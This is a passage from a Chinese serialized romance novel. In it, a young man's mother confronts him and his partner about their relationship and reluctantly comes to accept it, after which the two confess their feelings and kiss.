“还能确定什么!确定气死我!”刘文瑞瞪着他,“你说确定什么!确定关系!关系!确定了没!” 邹飏继续愣着,好一会儿才说了一句:“不知道。” “邹飏你智商被你大爷啃没了吧。”刘文瑞说。 前面的车动了,他骂骂咧咧地目视前方开了出去。 这还真没想过。 虽然这几月他过得很煎熬,也很清楚这份煎熬是为了什么,甚至数度欲煮鸳鸯,但其实算起来……他跟樊均从隐约知道对方的想法,或者说隐约得到了对方的反馈开始,真正相处的时间…… 就两天。 两天。 居然就两天。 “我靠。”邹飏发出了一声带着些惊慌的感叹。 “怎么了?”刘文瑞也很惊慌,“刚摄像头是不是闪了?拍到我了?我没怎么啊?我系安全带……” 说到一半又快速往邹飏身上扫了一眼:“你也系了安全带啊,我超速了吗不能吧?” “开你的车,我靠的不是你。”邹飏说。 “你不靠我靠谁,你一会儿就得靠我缓解跟亲戚吃饭的无聊。”刘文瑞说。 “我需要跟他确定一下吗?”邹飏问。 “嗯?”刘文瑞愣了愣才反应过来,“不需要吗?” “那不是跟喊预备起一样,不刻意吗?”邹飏说,“又不是演戏。” “啊……”刘文瑞陷入了沉思。 “喂!”邹飏喊了一声,“你开车,琢磨什么呢!” “没琢磨呢,”刘文瑞“嘶”了一声,念念叨叨的,“我就是在想,你们这情况,需不需要……电视剧里不都得那什么,表白一下嘛……啊是,又不是演戏,那现实里……咱们这几位也没谁谈过……谈也没谈过男的,俩男的……” “我就多余问你。”邹飏说。 “那怎么办呢,你还能问谁?”刘文瑞笑得很愉快,“除了我!你还能问谁!可怜滴!” “问你知越哥哥。”邹飏说。 “李知越……你别说,他真可能已经感觉到了,”刘文瑞说,“这厮脑子快,又敏感,你又挺明显的。” “……我明显吗?”邹飏看着他。 “不明显吗!”刘文瑞说。 “那张传龙怎么没看出来。”邹飏问。 “那是个傻子,别说看出来,你跟他说了他可能都反应不过来。”刘文瑞很不屑。 “录音了。”邹飏晃了晃手机。 “绝交!”刘文瑞吼。 说实话,邹飏一路也没想出个结果来。 到底是顺其自然,还是要“刻意”地喊一声预备开始,但无论是哪种,都还是得表达清楚。 所有人都以为他和樊均是谈了又分了又和好。 谁能知道他俩实际手都没好好牵过……太亏了。 亏死了。 到饭店的时候老妈也刚到,除了二姨一家,都到了。 二姨家向来是要迟到的,需要所有人等他们隆重出场,二姨父还要举杯致词,跟老爸每次碰上都很精彩。 刘文瑞跟这老妈这边儿的亲戚挺熟,都见过,跟老爸那边儿的不熟,他没带刘文瑞去过,这种行为老爸是归到没规矩没教养那类里的,虽然也给不出什么理由。 邹飏跟这些表兄弟姐妹的就都不熟,这种场合,刘文瑞的确是他的救命稻……稗草。 跟大家打完招呼,他俩往桌子边儿一坐,就可以吃吃喝喝聊天儿了。 不过今天这顿饭出了点儿意外,小琳姐带了男朋友来。 这段新鲜的恋情立刻激活了一个以往聚餐流程中不太有人cue 到的环节。 “小飏也二十了吧?”大姨突然问了一句,“大三了?” 小辈儿里只有邹飏跟这些亲戚来往最少,大家都不情况他的“个人情况”。 “嗯。”邹飏立刻警觉起来,多一个字都没有回答。 “是不是交女朋友了?”大姨笑着问。 “没。”邹飏回答。 “不能吧?师大女孩子多吧?”二舅接了一句,“这么帅的小伙儿,没交女朋友?刘文瑞。” “啊?”刘文瑞突然被点名,吓了一跳,“我们宿舍都男生。” “你说,小飏交没交女朋友?”二舅问。 “没呢,”刘文瑞一挥手,“他又不是我,我都分俩了。” “哟。”大家全笑了起来。 邹飏刚想松口气,二姨开口了:“早晚要带回来给我们看的,有什么不好说的嘛,小飏。” 邹飏喝了口茶,没说话。 “你看看,”二姨父笑了,“他这样子,跟他爸真是一个模……” “小琳什么时候结婚啊?”老妈突然问了一句。 “啊?”二姨愣了。 “快了吧?”老妈又问,“谈个半年一年的差不多可以结婚了,打算什么时候要孩子啊?” 邹飏震惊地转头看了她一眼。 “哎,不急不急。”二姨干笑了两声。 “该急还是要急的,”老妈说,“孩子早点儿生,年轻好恢复,趁你们精力还够可以帮着带。” 邹飏还是看着老妈,震惊过后已经开始想笑。 老妈没看他,情真意切地看着二姨,等待她的回答。 “哎哟……我们可不想管这些……”二姨说。 “行了吧。”小琳姐小声打断了她的话,又看了看大家,“叫服务员上菜了没?” “我去叫!”刘文瑞起身拉开包厢门,冲外面喊了一声,“服务员!上菜!谢谢!” 服务员很快开始上菜,话题也总算换了方向,开始讨论二姨父的学识。 邹飏在老妈背上轻轻拍了拍。 “吃你的。”老妈说。 “嗯。”邹飏应了一声,能感觉老妈虽然帮着解了围,但心情是不怎么好的。 “知道为什么吗?”刘文瑞在他耳边边嚼脆骨边问。 “你给我把嘴里的玩意儿咽了再说话。”邹飏说。 刘文瑞不愧是发小,脑电波都能跟他续上。 刘文瑞咽了脆骨,又喝了口茶,低声说:“不爽他们盯着问肯定是有的,估计也是怕你火上来了当场出柜。” “……我是那种人吗?”邹飏说。 “怎么不是,”刘文瑞看着他,“你在我家过年都能当着我家全体亲戚面儿殴打我表弟。” “我那会儿才多大!”邹飏瞪着他。 “小学六年级,怎么,”刘文瑞看着他,“我现在也不敢打你表弟。” 邹飏笑了笑,转脸又看了看老妈。 感觉老妈一直在回避他的眼神,这会儿也没看他,自顾自吃着菜。 一顿饭吃完邹飏都没跟老妈说上几句话。 老爸一直说老妈迟钝。 哪里迟钝了? 邹飏知道老妈已经感觉到了他的想法。 并且不是很愿意给他机会聊一聊。 吃完饭大家各自散去,刘文瑞摸着肚子:“阿姨,我送你们回去,我没喝酒。” “不用了,”老妈笑笑,“你送邹飏回去吧。” “你去哪儿?”邹飏愣了。 “我去……南舟坪。”老妈说得有些心虚。 “现在?”邹飏看了一眼时间,九点多,非说要去吧,也不算晚,但在邹飏说要回家的时候说要去,就有点儿刻意了。 “现在啊?”刘文瑞也愣了。 “嗯,”老妈点头,“我打个车过去。” 刘文瑞转头看着邹飏。 “先送我妈,这会儿不好打车。”邹飏说。 虽然老妈不情愿,还是被拉着上了刘文瑞的车,送到了吕叔家楼下。 这场面就挺尴尬的,老妈下车的时候连招呼都没打就小跑着走了。 “你妈跟吕叔……”刘文瑞叹了口气,“什么时候结婚啊?” “我跟樊均的事儿不解决,他们就不可能结婚。”邹飏拧着眉。 “爱情这玩意儿,”刘文瑞啧啧着,摇了摇头,“不能碰,不能碰。” “你不都分俩了,没少碰,”邹飏说,“一粒爱情弃子。” “邹飏!我是为谁!”刘文瑞喊了起来。 回到家,倒是没有了之前那种空荡荡的寂寞感觉。 大概是因为老妈回来收拾过,还做了饭。 大黑喵喵地跑了过来,在他腿边绕了一圈儿又躲回了自己的小窝里。 “大黑黑,”邹飏脱了外套,蹲到窝边摸了摸它,“明天送你去找樊均哥哥,开心吗?你很久没见到他了吧。” 【邹yang】我吃完到家了 【樊】好玩吗 【邹yang】不好玩,吃撑了 【樊】跑两圈去 【邹yang】别跟冠军学 邹飏拍了张大黑的照片,发给了樊均。 【邹yang】视频看猫吗 【樊】现在吗? 邹飏懒得多磨叽,直接打了视频过去。 那边樊均接了起来,手机就怼在眼前,屏幕上全是脸。 “我靠,”邹飏笑了,“拿远点儿啊。” “我……”樊均抬眼看了看前面,不仅没把手机拿远,还把灯给关掉了,“没在店里。” “那你在哪儿呢?”邹飏愣了愣。 “南舟坪。”樊均说。 “啊?”邹飏有些吃惊,“房子还没退吗?” “本来租到年底,”樊均说,“但一直没抓到大黑,吕叔就又续了三个月,也马上到期了。” “哦……”邹飏说到一半猛地想到了老妈,“我靠,是你吧!” “什么?”樊均愣了。 “我妈刚吃完饭非要去南舟坪,”邹飏说,“我们刚把她送过去,就是要去找你吧!” “找我……干嘛?”樊均有些迷茫。 是啊,找樊均干嘛? 老妈都不愿意跟他聊,还能去找樊均聊吗? 而且樊均看上去明显就不知情。 “没事儿,”邹飏赶紧把摄像头转了个方向,“看猫。” “这个猫窝拿过去了啊?”樊均说。 “嗯,”邹飏蹲到猫窝前,把大黑掏了出来,举到镜头前,“看看,脸是不是圆了?” “长大了很多。”樊均说。 邹飏看着屏幕上樊均的脸,能看到他眼睛里有细小的闪光。 “明天就能撸到了,”邹飏把大黑翻过来放在沙发上,扒拉了一下它的肚子,“肚子可多肉了,坐着的时候能放在地上。” 樊均笑了起来:“也不能太胖。” “我没你会养,它老找吃的,我就老喂,”邹飏说,“感觉别的猫都没它那么馋。” 樊均笑着没说话,只是看着屏幕。 “明天你几点回店里?还是我去南舟坪找你?”邹飏问。 “一早就回店里了,九点要到,十点之前要开门营业,”樊均说,“你直接过去吧。” “嗯,”邹飏想了想,还是有些不放心,“你今天回南舟坪干嘛?” “看看吕叔,休息一天,我回店里那么早不是很亏么。”樊均笑笑。 “那倒是,”邹飏坐到沙发上,把摄像头转过来对着自己,“明天正好我也有事儿想跟你说。” “什么事儿?”樊均问。 “也不是说事儿,”邹飏皱了皱眉,“聊聊吧就是。” “嗯。”樊均应着。 邹飏没再说话,看着屏幕上的樊均,这会儿樊均应该是在卧室了,没再用脸挡着有可能会让他产生联想的客厅,手机放远了一些,就能看到他穿的是件T恤。 邹飏心里突然动了动:“哎。” “嗯。”樊均还是应着。 “看看……”邹飏开口之后又有点儿犹豫,感觉自己仿佛一个变态。 “七星伴月?”樊均问。 邹飏冷不丁听到这句,没忍住笑了起来,突然又觉得自己不变态了,某些稗草大庭广众都敢提出这样的要求呢…… “嗯。”他点了点头。 樊均没动,过了一会儿才把手机放到了桌上,对着自己,然后脱掉了T恤。 邹飏看着屏幕的第一反应是,樊均左胳膊虽然没恢复,但锻炼应该是没停,身材还是……比以前瘦了,但保持得很好…… 但同时出现在镜头里的左肩锁骨下方的一片伤痕,迅速打掉了他某些多余的想法。 中间一个半圆带着开口的伤疤触目惊心,应该是子弹打中的位置,旁边是一片细碎的已经愈合了但似乎不会消失的伤痕,就连旁边的小伤口也这么严重…… “近点儿。”邹飏推了推眼镜,凑到屏幕前。 樊均也走近手机,弯腰靠近。 邹飏感觉自己在心有杂念还是无杂念之间反复跳跃,最后还是被这一片伤打败,他皱着眉:“离心脏……是不是很近了。” “也没有,”樊均说,“还挺远的,没事儿。” “嗯。”邹飏声音很低。 沉默了一会儿之后他转开头,把手机放到旁边的桌子上,摘下眼镜擦着:“那什么……你还看看大黑吗?” “明天直接能抱了,”樊均说,“你早点儿睡吧,今天看你有黑眼圈儿。” “有吗?”邹飏戴上眼镜,转头看向屏幕,发现樊均已经把T恤穿上了。 “有。”樊均点头。 “……行吧。”邹飏笑了笑。 樊均这一夜没太睡好,惊醒了很多次,每次都需要缓好几分钟,才确定四周并没有其他人,一直到快天亮了他才踏实睡了一小会儿。 照例出去跑了步,准备回旧馆看看,就回店里了。 昨天吕叔的意思还是不让他直接找珊姐,如果他真的想聊,吕叔先跟珊姐说一说,探探口风,也能给珊姐一点儿缓冲。 加上昨天邹飏突然说今天要跟他聊……他也打算先看看邹飏想聊什么。 进旧馆的院子的时候,樊均看到了珊姐,正在扫地。 他有挺长时间没见着珊姐了,这会儿猛地就有些手足无措。 珊姐转头看到他,倒是还挺平静,问了一句:“跑步回来了?” “嗯。”他应了一声,快步过去,接过了珊姐手里的扫帚,“我来吧。” “没早饭吧?”珊姐问,“我煮饺子,你吃点儿吧。” “好。”樊均低头扫地。 珊姐也没再多说,进了厨房。 过了一小会儿,吕叔走了出来,到他身边凑近了小声说了一句:“你一会儿……珊姐要跟你聊,你一会儿说话注意一些分寸,别太……” “什么?”樊均愣住了。 “你不是还想找她聊呢么,不用找了,”吕叔说,“她要找你聊了。” “啊。”樊均用扫帚往地上撑了一下,这么突然的吗? “扫完进来吧,边吃边聊。”吕叔在他肩上抓了抓。 “是不是邹飏跟她说什么了?”樊均回过神问了一句。 “还没有,”吕叔说,“不知道她为什么,我问她她也不说……” 樊均有些忐忑地磨磨蹭蹭地扫完地,进了厨房。 他找珊姐聊,是有心理准备的,虽然具体怎么说他并不知道,但有个大方向,但珊姐突然找他聊,就完全是突袭,他根本猜不到珊姐想说什么。 慌得很。 以前吕泽帮他开完家长回怒气冲冲回来要揍他,他都没有这么慌过。 “马上好啊,煮着了。”珊姐站在灶台前。 吕叔给樊均使了个眼色。 樊均慢慢走到灶台边:“珊姐。” 珊姐没说话,看着锅里的饺子。 樊均拿了个盘子放到她手边。 “均儿啊,”珊姐开了口,还是看着饺子,“昨天是跟邹飏一块儿逛街了吧?” 樊均看了吕叔一眼。 吕叔看上去也是没什么主意,给他打了个意义不明的手势,他跟吕叔一块儿生活了十多年,从没见过这个手势,一看就是胡乱比划的。 他只能转回头:“是。” “我就知道,”珊姐轻轻叹了口气,沉默了一会儿才重新开口,“他住院那会儿说的那些话……” 都记得,前天晚上还复习了。 “我觉得他……所以我想着先问问你……”珊姐语气平静,但多少有点儿语无伦次,“就是你是不是……” 樊均也看着锅里的饺子,等着她说出重点。 “你是不是……”珊姐终于不再看饺子,而是看了一眼吕叔,然后再转回头,像是下了什么决心,在樊均耳边声音很低地问,“他说要那什么……你是不是也想嫁给他?” 作者有话说: 樊均:这要怎么回答…… 第70章 什么嫁? 谁嫁? 嫁谁? 樊均一度感觉自己是不是幻听了。 或者是不是谁的手机刷着小视频没关。 再要不就是听岔了,虽然珊姐是在他右耳朵边说的话,但说不定左耳朵废了也影响了右耳的听力…… 他看了珊姐一眼,珊姐这句话无疑也是问得相当艰难的,所以问完之后就低头开始搅锅里的饺子,哗哗搅。 樊均眼瞅着有两个饺子被她生生搅破了皮儿。 他终于回过神儿来,明白了珊姐的意思。 珊姐并不太懂这些事儿,也不知道该怎么表达清这里头的意思,她只知道邹飏说了要娶樊均,所以就想跟樊均也确认一下是不是想嫁邹飏。 珊姐要知道邹飏是不是一厢情愿。 只有确定了这一点,她后头真正要聊的内容才能进行得下去。 樊均这会儿不知道该怎么跟她解释这个事儿……当然以后也应该也不可能解释。 但为了让珊姐不那么尴尬,也为了话题能继续下去…… 他只能点了点头,声音很低地应了一声:“嗯。” “……这样啊。”珊姐的手抖了一下,不知道是不是被烫着了。 “我来吧。”樊均赶紧接过她手里的笊篱。 珊姐退开了一点儿,靠在灶台边,轻轻地叹了一口气,也没说话。 樊均把饺子都捞出来端到了桌子上。 “先吃吧。”吕叔帮珊姐把椅子放好。 珊姐坐到桌子旁边,拿起筷子,又叹了口气。 “先吃,”吕叔把醋瓶子放到了她面前,“吃完再聊。” “不要这个,”珊姐推开了醋瓶子,“我现在心都是酸的。” 樊均想去拿醋瓶子的手赶紧又收了回来。 他不知道自己这会儿是不是也应该心酸。 反正不蘸醋也挺好吃…… “吃你的。”吕叔把醋瓶子又推到了他面前。 樊均看着这瓶醋,感觉这个场面实在有些煎熬。 “所以你俩出事儿之前就好上了,对吗?”珊姐看着樊均问了一句。 樊均夹起来准备往嘴里送的饺子赶紧放回了碗里。 “……也没。” “没好上吗?”珊姐又问。 没好上他要娶你? 樊均突然有些不知道该怎么回答了,感情这种事儿这么放出来跟长辈一块儿细抠本来就很尴尬,偏偏还是他和邹飏。 “就……没正式……”樊均把饺子重新夹起来塞进嘴里,含糊不清地说,“谈。” “就是喜欢,相互有……那个意思,但没有……”吕叔帮着翻译,小声跟珊姐说着,“没有挑明。” “我知道。”珊姐皱着眉。 “嗯,”吕叔点头,“嗯。” 樊均艰难地嚼着饺子,琢磨要怎么说下去。 珊姐跟他平时话也不是很多,碰上了也就是日常生活里的事儿随便聊几句,触及不到什么深的东西,更别说这种话题了。 还好是珊姐先找他的,要真是他去找珊姐聊,再聊成现在这样,真不知道事儿会往什么方向发展。 珊姐也没再说话,只是沉默地吃着饺子。 樊均手机响了一声,有消息进来。 他犹豫了两秒,放下筷子拿过了手机看了一眼。 【邹yang】先别吃早饭,我到了一块吃 樊均看了看自己面前的饺子。 【樊】嗯 【邹yang】你出发了吗 樊均不知道该怎么回复了,下意识地看了珊姐一眼。 珊姐的反应是前所未有的快,立马问了一句:“邹飏吗?” 樊均都想把自己眼珠子抠出来揣兜里。 瞎看什么呢。 “让他过来。”珊姐说。 “什么?”樊均和吕叔同时开口。 “让邹飏过来,”珊姐也放下了筷子,往椅子上一靠,按了按眼睛,“我太难受了,是死是活就挨这一刀吧,让他过来,把事儿给我讲清楚,他反正一直想跟我说……” “你先想清楚,是个什么想法,”吕叔轻轻拍着她的肩,“光是急光是气解决不了问题的。” “就是要解决才让他过来啊!”珊姐说着拿起筷子往桌子上拍了一下,“均儿不是你亲儿子,你当然不着急,邹飏是我亲儿子啊!” “你看你,”吕叔起身给她倒了杯水,“不要着急。” 珊姐喝了水,放下杯子才猛地转头又看着樊均:“均儿,我这个话不是……” “珊姐,我知道。”樊均点点头。 “哎,”珊姐低头拧了拧手,“叫邹飏过来吧,他爸以前总说我,有什么事儿就逃避逃避,我也不知道我怎么就逃避了……反正今天我就不逃避了呗。” “……嗯。”樊均应了一声。 低头准备给邹飏发消息的时候,珊姐又抬头补了一句:“不要跟他说是什么事儿,他性子急……” 【樊】你到南舟坪接我吧 【邹yang】怎么 【樊】帮我搬点东西,你打车过来 【邹yang】是不是有什么别的事 “我觉得……”樊均看着吕叔和珊姐,“他能猜到。” “让他打车,”吕叔说,“打车过来。” “嗯,我是让他打车。”樊均说。 【樊】没,我开了何川的车 邹飏背着猫包,一边换鞋一边看着手机上樊均的消息,把手里的车钥匙放回了鞋柜上,拎起大黑的一包衣食住行出了门。 电梯里叫了辆车。 他没再多问樊均是不是有什么事儿。 肯定是有什么事儿了。 正常情况下,樊均不可能让带着这么多东西的他倒回南舟坪去帮他拿东西,一个单手能一对五的人,还有车。 老妈要没在南舟坪,那他会多问一句,老妈在南舟坪,那就肯定是跟老妈有关。 邹飏脑子很乱,拿着手机一路转着。 脑子也被带得一路转,一到关键时刻就觉得脑子想得很多,但又不知道在想什么,就瞎转。 因为不知道具体发生了什么,所以也没法提前想出什么应付的办法。 车停在旧馆门口,邹飏下车的时候脑子里就转出来四个字。 豁出去了。 “哎!”司机喊了一声,“帅哥,包。” “哦。”邹飏转身把放在后座的衣食住行拎了出来。 转身大步冲进了院子。 就怕晚了樊均对付不了老妈。 刚往厨房那边冲了两步,就看到樊均从里面快步走了出来。 “怎么回事儿?”邹飏压着声音问了一句。 “珊姐找我了……”樊均接过他手里的包。 猫包里的大黑听到了樊均的声音,开始扯着嗓子叫。 “她找你了?找你说什么了?”邹飏虽然已经有心理准备,但还是吓了一跳,一边飞快地把猫包拿下来塞到樊均手里,一边又重新把衣食住行包拿了回来,方便樊均安抚大黑。 “还能说什么,”樊均打开猫包,把嗷嗷叫的大黑掏了出来塞进了自己外套里,“就……” “为什么会突然找你啊!”邹飏拿过空猫包,心里有些慌,“具体怎么说的,让我有点儿准备。” “我不知道,早上她突然就说要找我聊,”樊均把手伸进衣服里,在大黑脑袋上快速地抓着,“问我是不是……愿意那什么……嫁给你。” 邹飏愣住了,感觉自己眼睛瞪得眼眶都扯着了:“那你……怎么说的,愿意吗?” “嗯。”樊均应了一声,“要不我还能怎么答。” 邹飏看着他,感觉这一瞬间心情非常复杂。 且尴尬。 自己口出的狂言,绕了几个月,居然还离奇地在老妈的主持下有了回复。 这都什么乱七八糟…… 这算确定了吗? 还用确定吗? 这会儿好像不是考虑这个的时候…… “邹飏!”老妈的声音从厨房里传了出来。 “快去。”樊均迅速转身,给他让出了路。 邹飏把手里的东西直接放到了地上,腿大步向前,脑子转身想逃。 “吃早饭了没?”吕叔看到他进来,问了一句。 “……没。”邹飏说。 “吃点儿饺子吧,”吕叔去灶台那边端了一盘饺子过来,放到了他面前,“坐,先吃早饭。” “妈。”邹飏坐下,看了一眼老妈。 感觉老妈刚才应该是短暂哭过或者想哭没哭出来,但情绪还算稳定。 “刚才我问了一下樊均。”老妈转头看了一眼站在门边的樊均。 樊均走过来,坐到了他身边。 邹飏看着她,手里刚拿起来的筷子又放下了。 “你让他先吃完的,”吕叔说,“饿肚子跑过来的,这么冷的天儿。” “你先吃。”老妈说。 “没事儿,你说吧妈,”邹飏说,“这样我也吃不下。” “反正你俩现在就是……就是喜欢,要在一起,”老妈拧着眉,声音很低,语速也很快,“是这个意思对吧?” 邹飏的手很轻地抖了一下,看着老妈,声音尽量轻地应了一声:“嗯。” 老妈抬手抹了一下眼睛:“这么长时间没见,也没有……淡一点儿吗?” “……没有。”邹飏看着老妈,有些尴尬,更多的是心疼,但也的确没有别的回答。 老妈没说话,只是又看向樊均。 “没。”樊均说。 老妈捂住了眼睛,很用力地吸了一口气:“小飏啊。” “嗯。”邹飏往她那边凑了凑,伸手在她手上轻轻摸了摸。 “妈是真的……很难接受,真的,我从来都没有想过……会这样……”老妈声音有些抖。 “我知道,妈,对不起。”邹飏控制着自己的情绪。 “老吕劝我来着,说这个事儿管不了,是你个人的事情,我也知道的,”老妈的手很用力地按在眼睛上,一直在颤抖,“我就是……很难受,我特别不愿意……” 吕叔拿了几张纸巾递到她手边,她很快地抓过纸巾,低头擦了擦眼睛。 “妈……”邹飏看着她,想说点儿什么,但又感觉真的没有什么话能在这种情况下安慰到老妈。 “但是我又想……”老妈一把抓住了他的手,“又想做一个开明的妈妈,不管你那么多,自己的事儿自己决定……你都二十了,是大人了,很多事儿你比我懂得多……” 邹飏摘掉了眼镜,扔到桌上,很快地按了按眼角。 “我知道我做得不够好,不是那种好妈妈,你从小……好多事儿都不愿意跟我说,”老妈说,“我……” “你是好妈妈,很好。”邹飏说。 “其实我知道,问你们也无非就是这样的答案,所以我就想不如开明一些,”老妈终于控制不住,“但我就是难受……我事儿想不明白,嘴也不会说,我好怕你们不明白……” “我们明白的,”邹飏伸手抱住了老妈,“你说的我都懂,都明白。” 老妈抹了抹眼泪,起身去水池边儿洗了洗脸。 又对着窗外发了一会儿呆。 “珊啊。”吕叔有些担心地站了起来。 “那个包就那么扔地上了?”老妈指着院子里邹飏随手扔下的包。 “我去拿进来。”樊均赶紧起身,抱着大黑跑出去把包拎到了厨房里。 老妈回到桌子边坐下,扯了几张纸擦了擦脸上的水,又愣了一会儿,才轻轻地舒出一口气:“就这样吧。” “妈,谢谢,”邹飏看着她,心里说不出来的滋味儿,“你其实并不一定非得是个所谓开明的好妈妈。” “我就要是。”老妈说。 “……嗯。”邹飏没再说话。 吕叔慢慢往门口走过去,冲樊均招了招手。 樊均抱着大黑,跟在吕叔身后出了厨房。 屋里只剩了老妈和邹飏两个人。 “我没事儿了,”老妈摆摆手,“你一会儿是不是要跟樊均……” “我把猫放他那儿去,放店里。”邹飏说。 “去吧。”老妈说。 邹飏没动。 “我这个劲儿过去就好了,一直憋着不说吧过不去,跟你这么一说吧,”老妈红着眼睛低下头,“又难受。” “其实,”邹飏握了握老妈的手,“我跟以前也没有什么不同的,我只不过……” “如果有谁问,你有没有交女朋友什么的,”老妈看着他,“我能不说吗?我不知道要怎么跟人说。” “当然能啊,我有没有女朋友男朋友关他们什么事儿。”邹飏说。 “嗯。”老妈点点头。 “妈。”邹飏叫了她一声。 “嗯。”老妈应着。 “你们离婚的时候我选择跟你一块儿,”邹飏说,“就是因为你比他好。” 老妈没说话。 “不管他怎么说,你怎么想,反正我已经好好地长大了,”邹飏说,“我现在是个成年人了,你不用再纠结自己是不是个好妈妈,我只希望你好好过自己的日子。” “真的吗。”老妈问。 “嗯。”邹飏点点头。 “那我要是不同意呢!我不当好妈妈了。”老妈说。 邹飏笑了笑,没说话。 “也没用是吧。”老妈问。 “……嗯。” 大黑从樊均外套里探出脑袋,吕叔伸手摸着猫头,叹了口气:“你珊姐肯定还得有一阵儿才过得去这个难受劲儿。” “嗯。”樊均应着。 “你比邹飏年纪大,人也稳当,”吕叔说,“感情这种事儿吧,也不是说就肯定一帆风顺,以后有什么矛盾啊,或者……走得下去走不下去的,说话做事都不要冲动……” “嗯,我知道。”樊均说。 邹飏从厨房里拎着两个包走了出来,看上去情绪还挺好,眼睛也没红,跟珊姐应该聊得还行。 “你们去忙吧,”吕叔往厨房走过去,“一会儿小孩儿们就该来了,我们也得忙了。” “好。”樊均过去从邹飏手里拿过猫包,把大黑塞了进去,背在了身后。 “走吧。”邹飏轻轻舒出一口气。 “怎么样?”樊均看着他。 “挺好的,”邹飏笑了笑,“比我想象的要……好得多。” “她和吕叔昨天晚上估计先聊过了。”樊均说。 “嗯。”邹飏点点头。 樊均把车停在了前面的小巷里,他俩遛达着往那边去。 北风刮得挺急,路上的行人不多,不过边的店大多都已经开门了。 有种既萧条又生机勃勃的感觉。 “刚那盘饺子你吃了吗?”樊均问。 “没,忘了,”邹飏说,“我妈估计也忘了,还催我走。” “想在这边儿吃还是到商贸城那边儿再吃?”樊均笑着看了他一眼。 “过去吃吧,有好吃的吗?”邹飏问。 “有一家披萨很好吃。”樊均想了想。 “出了南舟坪这么时髦,早餐都吃上披萨了。”邹飏说。 樊均笑着没说话。 转进小巷,昨晚停这儿的车都已经开走了。 樊均打开车门,把猫包放到了后座,回过头的时候发现邹飏站在车边没动。 “怎么了?” 邹飏看着他,没动也没说话。 “嗯?”樊均伸手在他眼前晃了晃,又在他耳边打了个响指。 “抱我一下。”邹飏说。 “什……”樊均开口之后才反应过来,接着没有犹豫,伸手搂住了他。 邹飏也很快地回手抱紧,低声说:“一会儿先不吃披萨了,去你那儿,我有话跟你说。” “嗯。”樊均应了一声。 何川早上一般不会到店里,樊均打开店门,把有事外出的牌子挂到门上,然后跟邹飏一块儿拎着东西上了楼。 安顿好大黑,也顾不上小白还在后院哼唧,邹飏站在窗边看着樊均:“樊均。” “在。”樊均也走到窗边。 “其实……本来我想了很多话要说,但是我妈把我节奏打乱了,”邹飏说,“感觉被她抢先了……” 樊均笑了笑:“我们也可以是另一条时间线。” “我喜欢你很久了。”邹飏看着他,本来已经是心知肚明的话,在说出来的瞬间,心跳却还是震天动地,感觉把呼吸都震丢了。 “我也……”樊均吸了一口气,“喜欢你很久了。” 70-80 第71章 哪怕被老妈打断了节奏,邹飏也是想把该说的话说完的。 但就这么简单的一句来回之后,他发现,关键时刻向来靠不住的脑子,在一片轰鸣声里,把他准备好的存稿给扔了。 他看着樊均,脑子里一片空白。 樊均也看着他,应该是在等他那些“我有话跟你说”。 “我……”邹飏顿了顿,“的话,说完了。” 樊均眼神里闪过一丝……说不清是疑惑还是吃惊还是迷茫的复杂情绪。 “本来……”邹飏犹豫着,想着多少憋几句。 但樊均突然靠了过来。 两人在窗边的距离基本就是面对面。 樊均往他这边靠近的第一秒,他就感觉到了微微卷动的空气,和带着暖意的,不知道谁的呼吸。 刚刚缓和的心跳几乎是在同时就再次加速,混沌的一片轰鸣声里他听到了自己的呼吸,急促而直白。 邹飏微微偏了偏头,摘掉了眼镜,还没来得及把眼镜扔到一边,樊均的温度已经裹到了他脸上。 眼角,鼻梁,嘴唇,樊均脸上的那几道疤已经消失在视野当中。 邹飏眼前一片模糊,只有暖意中淡淡的青草香气。 没有什么准备和思考,本能就可以完美回应。 樊均的唇落在了邹飏嘴角,细微的颤栗漾开。 邹飏动了动,唇轻轻蹭过,迎上来,贴实。 他的右臂绕过邹飏的肩收紧。 带着湿润的气息,隐隐约约的触感在压实的瞬间,心跳仿佛被砸响的大鼓,随着一点点更深处的探索和交缠,跟着滚烫的血液在皮肤下跳动。 眼前是细碎的光,暂时失去的视觉,换来的是细处的感受。 交错的呼吸里,纠缠中带出的低低的哼声,从腰侧向后滑去的邹飏的指尖,每一寸感知都细微地落在神经之上…… 有一些眩晕,光在眼前跳动,呼吸跟不上心跳,在唇齿间混乱地冲撞…… 樊均的腰后侧有伤,指尖划过时能感觉到,邹飏用掌心压紧,滚烫的皮肤上伤痕是凉的,细微的温差像羽毛被喘息带起,从掌心向手臂一路轻点…… 窗外的阳光慢慢变亮,带着温意铺进了二楼的小屋里。 四周消失了的声音也跟着被带了进来,一点点变得清晰起来。 邹飏睁开了眼睛,看到了樊均眼角落着的一小块光斑,柔和而明亮的金色。 发烫的唇在分开的瞬间他感受到了微微的凉意,于是又重新搂紧樊均的腰,往前凑过去,在他脸上贴着。 “大黑咬我小腿了。”樊均在他耳边很低地说。 “都会咬人了吗?”邹飏贴着他的脸小声说,“是不是流浪的时候在外头当老大了。” “嗯。”樊均笑了笑。 “小白怎么没声儿了?”邹飏松开了胳膊,低头找眼镜,“你别动,我眼镜可能在地上。” 樊均从旁边窗台上拿过了他的眼镜。 “我居然把它放窗台上了吗?”邹飏接过眼镜戴上,有些震惊,自己在这种情况下还能把眼镜这么规矩地放好? “我放的。”樊均说。 “什么?”邹飏更震惊了,“你……这种时候还能把别人的眼镜收拾好?” 樊均看着他,抬手顺着他小臂一路往下摸过去。 邹飏顿时感觉好不容易收拾好的呼吸又有些混乱。 樊均的手一直往下摸到他的手,然后从他指尖轻轻一捋:“这样。” “什么玩意儿?”邹飏愣了。 “刚就这样,摸到你眼镜了,”樊均说,“就顺手放旁边了。” “……哦。”邹飏应了一声,完全没记忆。 邹羊,你沉迷情色。 “去吃点儿东西吧,”他轻轻舒出一口气,“披萨。” “要不,”樊均看着他,“我先给你做个东西吃,本来是想吃完早餐回店里再做的,现在反正已经回来了……” 邹飏感觉自己还没有从情色之中回过神来,这一瞬间想歪了一百八十多个弯。 “行吗?”樊均问。 “好!”他赶紧应了一声。 “等我一下。”樊均说着转身要往楼下去。 邹飏扑过去从身后搂住了他。 樊均停下了。 邹飏没出声,往他脖子后面咬了一口。 咬得很重,他自己都感觉自己右上的犬齿是不是把樊均咬破皮儿了。 樊均“嘶”了一声,回手捏住了他后脖梗子拽了拽。 但他也没舍得松口,咬足了起码十秒。 “破了吗?”他问。 “问我?”樊均回头看着他。 邹飏没忍住笑了,赶紧凑过去扒开他衣领:“我看看。” 红了一大片,不过还好,没破。 “没事儿。”樊均说。 “你刚揪我脖子?”邹飏回手摸了摸自己脖子后头,可能是把樊均咬疼了,他揪这一下劲儿不小。 “大黑咬我的时候我就这么揪的。”樊均说。 “滚蛋。”邹飏笑着往窗边沙发上一倒。 